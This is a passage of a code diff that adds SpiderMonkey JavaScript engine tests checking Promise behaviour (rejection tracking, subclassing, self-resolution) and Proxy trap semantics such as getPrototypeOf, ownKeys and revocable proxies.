+ // Calling the executor function twice, providing a resolve callback both times.
+ Promise.resolve.call(function(executor) {
+ wasCalled = true;
+ executor(callback, undefined);
+ executor(callback, callback);
+ });
+} catch (e) {
+ hasThrown = true;
+}
+assertEq(wasCalled, true);
+assertEq(hasThrown, true);
+
+var hasThrown = false;
+try {
+ // Calling the executor function twice, providing a reject callback both times.
+ Promise.resolve.call(function(executor) {
+ executor(undefined, callback);
+ executor(callback, callback);
+ });
+} catch (e) {
+ hasThrown = true;
+}
+assertEq(hasThrown, true);
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Promise/promise-rejection-tracking.js b/js/src/tests/ecma_6/Promise/promise-rejection-tracking.js
new file mode 100644
index 000000000..4531fe0b0
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/promise-rejection-tracking.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs setPromiseRejectionTrackerCallback
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+const UNHANDLED = 0;
+const HANDLED = 1;
+
+let rejections = new Map();
+function rejectionTracker(promise, state) {
+ rejections.set(promise, state);
+}
+setPromiseRejectionTrackerCallback(rejectionTracker);
+
+// Unhandled rejections are tracked.
+let reject;
+let p = new Promise((res_, rej_) => (reject = rej_));
+assertEq(rejections.has(p), false);
+reject('reason');
+assertEq(rejections.get(p), UNHANDLED);
+// Later handling updates the tracking.
+p.then(_=>_, _=>_);
+assertEq(rejections.get(p), HANDLED);
+
+rejections.clear();
+
+// Handled rejections aren't tracked at all.
+p = new Promise((res_, rej_) => (reject = rej_));
+assertEq(rejections.has(p), false);
+p.then(_=>_, _=>_);
+reject('reason');
+assertEq(rejections.has(p), false);
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/ecma_6/Promise/promise-species.js b/js/src/tests/ecma_6/Promise/promise-species.js
new file mode 100644
index 000000000..7e033b08b
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/promise-species.js
@@ -0,0 +1,13 @@
+if (!this.Promise) {
+ reportCompare(true,true);
+ quit(0);
+}
+
+assertEq(Promise[Symbol.species], Promise);
+let prop = Object.getOwnPropertyDescriptor(Promise, Symbol.species);
+assertEq('get' in prop, true);
+assertEq(typeof prop.get, 'function');
+assertEq('set' in prop, true);
+assertEq(prop.set, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Promise/promise-subclassing.js b/js/src/tests/ecma_6/Promise/promise-subclassing.js
new file mode 100644
index 000000000..eba15a1d6
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/promise-subclassing.js
@@ -0,0 +1,67 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+let results = [];
+
+class SubPromise extends Promise {
+ constructor(executor) {
+ results.push('SubPromise ctor called');
+ super(executor);
+ }
+ then(res, rej) {
+ results.push('SubPromise#then called');
+ return intermediatePromise = super.then(res, rej);
+ }
+}
+
+let subPromise = new SubPromise(function(res, rej) {
+ results.push('SubPromise ctor called executor');
+ res('result');
+});
+
+let intermediatePromise;
+let allSubPromise = SubPromise.all([subPromise]);
+
+assertEq(subPromise instanceof SubPromise, true);
+assertEq(allSubPromise instanceof SubPromise, true);
+assertEq(intermediatePromise instanceof SubPromise, true);
+
+expected = [
+'SubPromise ctor called',
+'SubPromise ctor called executor',
+'SubPromise ctor called',
+'SubPromise#then called',
+'SubPromise ctor called',
+];
+
+assertEq(results.length, expected.length);
+expected.forEach((expected,i) => assertEq(results[i], expected));
+
+subPromise.then(val=>results.push('subPromise.then with val ' + val));
+allSubPromise.then(val=>results.push('allSubPromise.then with val ' + val));
+
+expected.forEach((expected,i) => assertEq(results[i], expected));
+expected = expected.concat([
+'SubPromise#then called',
+'SubPromise ctor called',
+'SubPromise#then called',
+'SubPromise ctor called',
+]);
+
+assertEq(results.length, expected.length);
+expected.forEach((expected,i) => assertEq(results[i], expected));
+
+drainJobQueue();
+
+expected = expected.concat([
+'subPromise.then with val result',
+'allSubPromise.then with val result',
+]);
+
+assertEq(results.length, expected.length);
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Promise/self-resolve.js b/js/src/tests/ecma_6/Promise/self-resolve.js
new file mode 100644
index 000000000..e16a2ceb3
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/self-resolve.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+if (!this.Promise) {
+ this.reportCompare && reportCompare(true,true);
+ quit(0);
+}
+
+let resolve;
+let promise = new Promise(function(x) { resolve = x; });
+resolve(promise)
+
+let results = [];
+promise.then(res => assertEq(true, false, "not reached")).catch(res => {
+ assertEq(res instanceof TypeError, true);
+ results.push("rejected");
+});
+
+drainJobQueue()
+
+assertEq(results.length, 1);
+assertEq(results[0], "rejected");
+
+this.reportCompare && reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Promise/shell.js b/js/src/tests/ecma_6/Promise/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Promise/shell.js
diff --git a/js/src/tests/ecma_6/Proxy/getPrototypeOf.js b/js/src/tests/ecma_6/Proxy/getPrototypeOf.js
new file mode 100644
index 000000000..a0676c0c9
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/getPrototypeOf.js
@@ -0,0 +1,285 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "getPrototypeOf.js";
+var BUGNUMBER = 888969;
+var summary = "Scripted proxies' [[GetPrototypeOf]] behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+const log = [];
+
+function observe(obj)
+{
+ var observingHandler = new Proxy({}, {
+ get(target, p, receiver) {
+ log.push(p);
+ return Reflect.get(target, p, receiver);
+ }
+ });
+
+ return new Proxy(obj, observingHandler);
+}
+
+function nop() {}
+
+var p, h;
+
+// 1. Let handler be the value of the [[ProxyHandler]] internal slot of O.
+// 2. If handler is null, throw a TypeError exception.
+// 3. Assert: Type(handler) is Object.
+var rev = Proxy.revocable({}, {});
+p = rev.proxy;
+
+assertEq(Object.getPrototypeOf(p), Object.prototype);
+rev.revoke();
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p), TypeError);
+
+// 4. Let target be the value of the [[ProxyTarget]] internal slot of O.
+// 5. Let trap be ? GetMethod(handler, "getPrototypeOf").
+
+// Getting handler.getPrototypeOf might throw.
+assertThrowsValue(() => Object.getPrototypeOf(new Proxy({},
+ { get getPrototypeOf() {
+ throw 17;
+ } })),
+ 17);
+
+// The handler's getPrototypeOf, once gotten, might throw.
+p = new Proxy({}, { getPrototypeOf() { throw 42; } });
+
+assertThrowsValue(() => Object.getPrototypeOf(p), 42);
+
+// The trap might not be callable.
+p = new Proxy({}, { getPrototypeOf: 17 });
+
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+// 6. If trap is undefined, then
+// a. Return ? target.[[GetPrototypeOf]]().
+
+var x, tp;
+
+tp =
+ new Proxy(new Number(8675309), // behavior overridden by getPrototypeOf
+ { getPrototypeOf() { x = "getPrototypeOf trap"; return null; } });
+
+// The target's [[GetPrototypeOf]] should be invoked if the handler's
+// .getPrototypeOf is undefined.
+p = new Proxy(tp, { getPrototypeOf: undefined });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(x, "getPrototypeOf trap");
+
+// Likewise if the handler's .getPrototypeOf is null.
+p = new Proxy(tp, { getPrototypeOf: null });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(x, "getPrototypeOf trap");
+
+// Now the target is an empty object with a Number object as its [[Prototype]].
+var customProto = new Number(8675309);
+tp =
+ new Proxy({},
+ { getPrototypeOf() {
+ x = "getPrototypeOf trap";
+ return customProto;
+ } });
+
+// The target's [[GetPrototypeOf]] should be invoked if the handler's
+// .getPrototypeOf is undefined.
+p = new Proxy(tp, { getPrototypeOf: undefined });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), customProto);
+assertEq(x, "getPrototypeOf trap");
+
+// Likewise if the handler's .getPrototypeOf is null.
+p = new Proxy(tp, { getPrototypeOf: null });
+x = "unset";
+assertEq(Object.getPrototypeOf(p), customProto);
+assertEq(x, "getPrototypeOf trap");
+
+// 7. Let handlerProto be ? Call(trap, handler, « target »).
+
+// The trap callable might throw.
+p = new Proxy({}, { getPrototypeOf() { throw "ohai"; } });
+
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "ohai");
+
+var throwingTrap =
+ new Proxy(function() { throw "not called"; },
+ { apply() { throw 37; } });
+
+p = new Proxy({}, { getPrototypeOf: throwingTrap });
+
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ 37);
+
+// The trap callable must *only* be called.
+p = new Proxy({},
+ {
+ getPrototypeOf: observe(function() { throw "boo-urns"; })
+ });
+
+log.length = 0;
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "boo-urns");
+
+assertEq(log.length, 1);
+assertEq(log[0], "apply");
+
+// 8. If Type(handlerProto) is neither Object nor Null, throw a TypeError exception.
+
+var rval;
+
+var typeTestingTarget = {};
+p = new Proxy(typeTestingTarget, { getPrototypeOf() { return rval; } });
+
+function returnsPrimitives()
+{
+ rval = undefined;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = true;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = false;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = 0.0;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = -0.0;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = 3.141592654;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = NaN;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = -Infinity;
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = "[[Prototype]] FOR REALZ";
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+ rval = Symbol("[[Prototype]] FOR REALZ");
+ assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+}
+
+returnsPrimitives();
+Object.preventExtensions(typeTestingTarget);
+returnsPrimitives();
+
+// 9. Let extensibleTarget be ? IsExtensible(target).
+
+var act, extens;
+
+var typeTestingProxyTarget =
+ new Proxy({}, { isExtensible() {
+ seen = act();
+ return extens;
+ } });
+
+p = new Proxy(typeTestingProxyTarget, { getPrototypeOf() { return rval; } });
+
+rval = null;
+act = () => { throw "fnord" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord");
+
+rval = /abc/;
+act = () => { throw "fnord again" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord again");
+
+rval = Object.prototype;
+act = () => { throw "fnord" };
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "fnord");
+
+// 10. If extensibleTarget is true, return handlerProto.
+
+p = new Proxy({}, { getPrototypeOf() { return rval; } });
+
+rval = Number.prototype;
+assertEq(Object.getPrototypeOf(p), Number.prototype);
+
+// 11. Let targetProto be ? target.[[GetPrototypeOf]]().
+
+var targetProto;
+
+var targetWithProto =
+ new Proxy(Object.preventExtensions(Object.create(null)),
+ { getPrototypeOf() { act2(); return targetProto; } });
+
+p = new Proxy(targetWithProto,
+ { getPrototypeOf() { act1(); return rval; } });
+
+rval = null;
+targetProto = null;
+
+var regex = /targetProto/;
+
+act1 = () => log.push("act1");
+act2 = () => log.push("act2");
+
+log.length = 0;
+assertEq(Object.getPrototypeOf(p), null);
+assertEq(log.length, 2);
+assertEq(log[0], "act1");
+assertEq(log[1], "act2");
+
+act1 = () => log.push("act1 again");
+act2 = () => { throw "target throw"; };
+
+log.length = 0;
+assertThrowsValue(() => Object.getPrototypeOf(p),
+ "target throw");
+assertEq(log.length, 1);
+assertEq(log[0], "act1 again");
+
+// 12. If SameValue(handlerProto, targetProto) is false, throw a TypeError exception.
+
+act1 = act2 = nop;
+rval = /a/;
+assertThrowsInstanceOf(() => Object.getPrototypeOf(p),
+ TypeError);
+
+// 13. Return handlerProto.
+
+rval = null;
+targetProto = null;
+
+assertEq(Object.getPrototypeOf(p), null);
+
+p = new Proxy(Object.preventExtensions(new Number(55)),
+ { getPrototypeOf() { return Number.prototype; } });
+
+assertEq(Object.getPrototypeOf(p), Number.prototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Proxy/global-receiver.js b/js/src/tests/ecma_6/Proxy/global-receiver.js
new file mode 100644
index 000000000..b2d160c0d
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/global-receiver.js
@@ -0,0 +1,35 @@
+// The global object can be the receiver passed to the get and set traps of a Proxy.
+var global = this;
+var proto = Object.getPrototypeOf(global);
+var gets = 0, sets = 0;
+
+try {
+ Object.setPrototypeOf(global, new Proxy(proto, {
+ has(t, id) {
+ return id === "bareword" || Reflect.has(t, id);
+ },
+ get(t, id, r) {
+ gets++;
+ assertEq(r, global);
+ return Reflect.get(t, id, r);
+ },
+ set(t, id, v, r) {
+ sets++;
+ assertEq(r, global);
+ return Reflect.set(t, id, v, r);
+ }
+ }));
+} catch (e) {
+ global.bareword = undefined;
+ gets = 1;
+ sets = 1;
+}
+
+assertEq(bareword, undefined);
+assertEq(gets, 1);
+
+bareword = 12;
+assertEq(sets, 1);
+assertEq(global.bareword, 12);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Proxy/hasInstance.js b/js/src/tests/ecma_6/Proxy/hasInstance.js
new file mode 100644
index 000000000..bbdffb227
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/hasInstance.js
@@ -0,0 +1,13 @@
+var get = [];
+var fun = function() {}
+var p = new Proxy(fun, {
+ get(target, key) {
+ get.push(key);
+ return target[key];
+ }
+});
+
+assertEq(new fun instanceof p, true);
+assertDeepEq(get, [Symbol.hasInstance, "prototype"]);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Proxy/json-stringify-replacer-array-revocable-proxy.js b/js/src/tests/ecma_6/Proxy/json-stringify-replacer-array-revocable-proxy.js
new file mode 100644
index 000000000..5d667e353
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/json-stringify-replacer-array-revocable-proxy.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = "json-stringify-replacer-array-revocable-proxy.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1196497;
+var summary =
+ "Don't assert when JSON.stringify is passed a revocable proxy to an array, " +
+ "then that proxy is revoked midflight during stringification";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+var { proxy, revoke } = Proxy.revocable(arr, {
+ get(thisv, prop, receiver) {
+ // First (and only) get will be for "length", to determine the length of the
+ // list of properties to serialize. Returning 0 uses the empty list,
+ // resulting in |a: 0| being ignored below.
+ assertEq(thisv, arr);
+ assertEq(prop, "length");
+ assertEq(receiver, proxy);
+
+ revoke();
+ return 0;
+ }
+});
+
+assertEq(JSON.stringify({a: 0}, proxy), "{}");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Proxy/ownkeys-allowed-types.js b/js/src/tests/ecma_6/Proxy/ownkeys-allowed-types.js
new file mode 100644
index 000000000..028ab8512
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/ownkeys-allowed-types.js
@@ -0,0 +1,20 @@
+function makeProxy(type) {
+ return new Proxy({}, { ownKeys() { return [type]; } });
+}
+
+for (var type of [123, 12.5, true, false, undefined, null, {}, []]) {
+ var proxy = makeProxy(type);
+ assertThrowsInstanceOf(() => Object.ownKeys(proxy), TypeError);
+ assertThrowsInstanceOf(() => Object.getOwnPropertyNames(proxy), TypeError);
+}
+
+type = Symbol();
+proxy = makeProxy(type);
+assertEq(Object.getOwnPropertySymbols(proxy)[0], type);
+
+type = "abc";
+proxy = makeProxy(type);
+assertEq(Object.getOwnPropertyNames(proxy)[0], type);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Proxy/ownkeys-linear.js b/js/src/tests/ecma_6/Proxy/ownkeys-linear.js
new file mode 100644
index 000000000..7b05a9384
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/ownkeys-linear.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'ownkeys-linear.js';
+var BUGNUMBER = 1257779;
+var summary =
+ "Scripted proxies' [[OwnPropertyKeys]] should have linear complexity";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Making this 50k makes cgc builds time out on tbpl. 5k takes 28s locally.
+// 10k takes 84s locally. So pick an intermediate number, with a generous
+// constant factor in case cgc-on-tbpl is much slower.
+const HALF_COUNT = 7500;
+
+var configurables = [];
+for (var i = 0; i < HALF_COUNT; i++)
+ configurables.push("conf" + i);
+
+var nonconfigurables = [];
+for (var i = 0; i < HALF_COUNT; i++)
+ nonconfigurables.push("nonconf" + i);
+
+var target = {};
+for (var name of configurables)
+ Object.defineProperty(target, name, { configurable: false, value: 0 });
+for (var name of nonconfigurables)
+ Object.defineProperty(target, name, { configurable: true, value: 0 });
+
+var handler = {
+ ownKeys(t) {
+ assertEq(t, target, "target mismatch!");
+
+ var trapResult = [];
+
+ // Append all nonconfigurables in reverse order of presence.
+ for (var i = nonconfigurables.length; i > 0; i--)
+ trapResult.push(nonconfigurables[i - 1]);
+
+ // Then the same for all configurables.
+ for (var i = configurables.length; i > 0; i--)
+ trapResult.push(configurables[i - 1]);
+
+ // The end consequence is that this ordering is exactly opposite the
+ // ordering they'll have on the target, and so worst-case performance will
+ // occur if the spec's |uncheckedResultKeys| structure is a vector having
+ // the same order as |trapResult|, searched from beginning to end in the
+ // presence-checks in the last few steps of the [[OwnPropertyKeys]]
+ // algorithm.
+ return trapResult;
+ }
+};
+
+var p = new Proxy(target, handler);
+
+// The test passes if it doesn't time out.
+assertEq(Object.getOwnPropertyNames(p).length, HALF_COUNT * 2);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Proxy/ownkeys-trap-duplicates.js b/js/src/tests/ecma_6/Proxy/ownkeys-trap-duplicates.js
new file mode 100644
index 000000000..eef84d571
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/ownkeys-trap-duplicates.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'ownkeys-trap-duplicates.js';
+var BUGNUMBER = 1293995;
+var summary =
+ "Scripted proxies' [[OwnPropertyKeys]] should not throw if the trap " +
+ "implementation returns duplicate properties and the object is " +
+ "non-extensible or has non-configurable properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var target = Object.preventExtensions({ a: 1 });
+var proxy = new Proxy(target, { ownKeys(t) { return ["a", "a"]; } });
+assertDeepEq(Object.getOwnPropertyNames(proxy), ["a", "a"]);
+
+target = Object.freeze({ a: 1 });
+proxy = new Proxy(target, { ownKeys(t) { return ["a", "a"]; } });
+assertDeepEq(Object.getOwnPropertyNames(proxy), ["a", "a"]);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Proxy/proxy-__proto__.js b/js/src/tests/ecma_6/Proxy/proxy-__proto__.js
new file mode 100644
index 000000000..f68bea489
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/proxy-__proto__.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'proxy-__proto__.js';
+var BUGNUMBER = 950407;
+var summary = "Behavior of __proto__ on ES6 proxies";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var protoDesc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+var protoGetter = protoDesc.get;
+var protoSetter = protoDesc.set;
+
+function testProxy(target, initialProto)
+{
+ print("Now testing behavior for new Proxy(" + ("" + target) + ", {})");
+
+ var pobj = new Proxy(target, {});
+
+ // Check [[Prototype]] before attempted mutation
+ assertEq(Object.getPrototypeOf(pobj), initialProto);
+ assertEq(protoGetter.call(pobj), initialProto);
+
+ // Attempt [[Prototype]] mutation
+ protoSetter.call(pobj, null);
+
+ // Check [[Prototype]] after attempted mutation
+ assertEq(Object.getPrototypeOf(pobj), null);
+ assertEq(protoGetter.call(pobj), null);
+ assertEq(Object.getPrototypeOf(target), null);
+}
+
+// Proxy object with non-null [[Prototype]]
+var nonNullProto = { toString: function() { return "non-null prototype"; } };
+var target = Object.create(nonNullProto);
+testProxy(target, nonNullProto);
+
+// Proxy object with null [[Prototype]]
+target = Object.create(null);
+target.toString = function() { return "null prototype" };
+testProxy(target, null);
+
+// Proxy function with [[Call]]
+var callForCallOnly = function () { };
+callForCallOnly.toString = function() { return "callable target"; };
+testProxy(callForCallOnly, Function.prototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Proxy/proxy-constructNonObject.js b/js/src/tests/ecma_6/Proxy/proxy-constructNonObject.js
new file mode 100644
index 000000000..04cee11e9
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/proxy-constructNonObject.js
@@ -0,0 +1,18 @@
+function bogusConstruct(target) { return 4; }
+function bogusConstructUndefined(target) { }
+
+var handler = { construct: bogusConstruct }
+
+function callable() {}
+
+var p = new Proxy(callable, handler);
+
+assertThrowsInstanceOf(function () { new p(); }, TypeError,
+ "[[Construct must throw if an object is not returned.");
+
+handler.construct = bogusConstructUndefined;
+assertThrowsInstanceOf(function () { new p(); }, TypeError,
+ "[[Construct must throw if an object is not returned.");
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0, "OK");
diff --git a/js/src/tests/ecma_6/Proxy/proxy-for-in.js b/js/src/tests/ecma_6/Proxy/proxy-for-in.js
new file mode 100644
index 000000000..4332bfbba
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/proxy-for-in.js
@@ -0,0 +1,37 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+let steps = [];
+
+const object = {
+ __proto__: {
+ "xyz": 42
+ }
+};
+const proxy = new Proxy(object, {
+ ownKeys(target) {
+ steps.push("ownKeys")
+ return ["a", "b"];
+ },
+
+ getOwnPropertyDescriptor(target, property) {
+ steps.push("getOwn-" + property);
+ return {
+ value: undefined,
+ configurable: true,
+ writable: true,
+ enumerable: (property === "a")
+ };
+ }
+});
+
+let iterated = [];
+for (let x in proxy)
+ iterated.push(x);
+
+assertEq(iterated.toString(), "a,xyz");
+assertEq(steps.toString(), "ownKeys,getOwn-a,getOwn-b");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Proxy/proxy-no-receiver-overwrite.js b/js/src/tests/ecma_6/Proxy/proxy-no-receiver-overwrite.js
new file mode 100644
index 000000000..86d352d45
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/proxy-no-receiver-overwrite.js
@@ -0,0 +1,23 @@
+"use strict";
+
+var y = new Proxy({}, {
+ getOwnPropertyDescriptor(target, key) {
+ if (key === "a") {
+ return { configurable: true, get: function(v) {} };
+ } else {
+ assertEq(key, "b");
+ return { configurable: true, writable: false, value: 15 };
+ }
+ },
+
+ defineProperty() {
+ throw "not invoked";
+ }
+})
+
+// This will invoke [[Set]] on the target, with the proxy as receiver.
+assertThrowsInstanceOf(() => y.a = 1, TypeError);
+assertThrowsInstanceOf(() => y.b = 2, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Proxy/proxy-with-revoked-arguments.js b/js/src/tests/ecma_6/Proxy/proxy-with-revoked-arguments.js
new file mode 100644
index 000000000..e0ae15acf
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/proxy-with-revoked-arguments.js
@@ -0,0 +1,53 @@
+var BUGNUMBER = 1151149;
+var summary = "Proxy constructor should throw if either the target or handler is a revoked proxy.";
+
+print(BUGNUMBER + ": " + summary);
+
+var p = new Proxy({}, {});
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+var r = Proxy.revocable({}, {});
+p = r.proxy;
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r.revoke();
+
+assertThrowsInstanceOf(() => new Proxy(p, {}), TypeError);
+assertThrowsInstanceOf(() => new Proxy({}, p), TypeError);
+
+
+var r2 = Proxy.revocable({}, {});
+r = Proxy.revocable(r2.proxy, {});
+p = r.proxy;
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r2.revoke();
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+r.revoke();
+
+assertThrowsInstanceOf(() => new Proxy(p, {}), TypeError);
+assertThrowsInstanceOf(() => new Proxy({}, p), TypeError);
+
+
+var g = newGlobal();
+p = g.eval(`var r = Proxy.revocable({}, {}); r.proxy;`);
+
+new Proxy(p, {});
+new Proxy({}, p);
+
+g.eval(`r.revoke();`);
+
+assertThrowsInstanceOf(() => new Proxy(p, {}), TypeError);
+assertThrowsInstanceOf(() => new Proxy({}, p), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Proxy/regress-bug1037770.js b/js/src/tests/ecma_6/Proxy/regress-bug1037770.js
new file mode 100644
index 000000000..240b04f32
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/regress-bug1037770.js
@@ -0,0 +1,7 @@
+foo = 1;
+Object.defineProperty(this, "foo", {writable:false, configurable:true});
+foo = 2;
+assertEq(foo, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Proxy/regress-bug1062349.js b/js/src/tests/ecma_6/Proxy/regress-bug1062349.js
new file mode 100644
index 000000000..fe0ad3d9a
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/regress-bug1062349.js
@@ -0,0 +1,31 @@
+// Adapted from a test case contributed by André Bargull in bug 1062349.
+
+var log = [];
+var hh = {
+ get(t, pk) {
+ log.push("trap: " + pk);
+ return t[pk];
+ }
+};
+var h = new Proxy({
+ get set() {
+ log.push("called set()");
+ Object.defineProperty(o, "prop", {value: 0});
+ log.push("o.prop:", Object.getOwnPropertyDescriptor(o, "prop"));
+ }
+}, hh);
+var p = new Proxy({}, h);
+var o = {__proto__: p};
+
+o.prop = 1;
+
+var expectedDesc = {value: 0, writable: false, enumerable: false, configurable: false};
+assertDeepEq(log, [
+ "trap: set",
+ "called set()",
+ "o.prop:",
+ expectedDesc
+]);
+assertDeepEq(Object.getOwnPropertyDescriptor(o, "prop"), expectedDesc);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Proxy/regress-bug950407.js b/js/src/tests/ecma_6/Proxy/regress-bug950407.js
new file mode 100644
index 000000000..bb4a71eb0
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/regress-bug950407.js
@@ -0,0 +1,11 @@
+var ab = new ArrayBuffer(5);
+var p = new Proxy(ab, {});
+var ps = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set;
+var threw = 0;
+try {
+ ps.call(p, {});
+} catch(ex) {
+ threw = 1;
+}
+
+reportCompare(1, threw, "Setting __proto__ on a proxy to an ArrayBuffer must throw.");
diff --git a/js/src/tests/ecma_6/Proxy/revocable-proxy-prototype.js b/js/src/tests/ecma_6/Proxy/revocable-proxy-prototype.js
new file mode 100644
index 000000000..7afbc15d2
--- /dev/null
+++ b/js/src/tests/ecma_6/Proxy/revocable-proxy-prototype.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'revocable-proxy-prototype.js';
+var BUGNUMBER = 1052139;
+var summary = "Accessing a revocable proxy's [[Prototype]] shouldn't crash";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+function checkFunctionAppliedToRevokedProxy(fun)
+{
+ var p = Proxy.revocable({}, {});
+ p.revoke();
+
+ try
+ {
+ fun(p.proxy);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError, got " + e);
+ }
+}
+
+checkFunctionAppliedToRevokedProxy(proxy => Object.getPrototypeOf(proxy));
+checkFunctionAppliedToRevokedProxy(proxy => Object.setPrototypeOf(proxy, null));
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
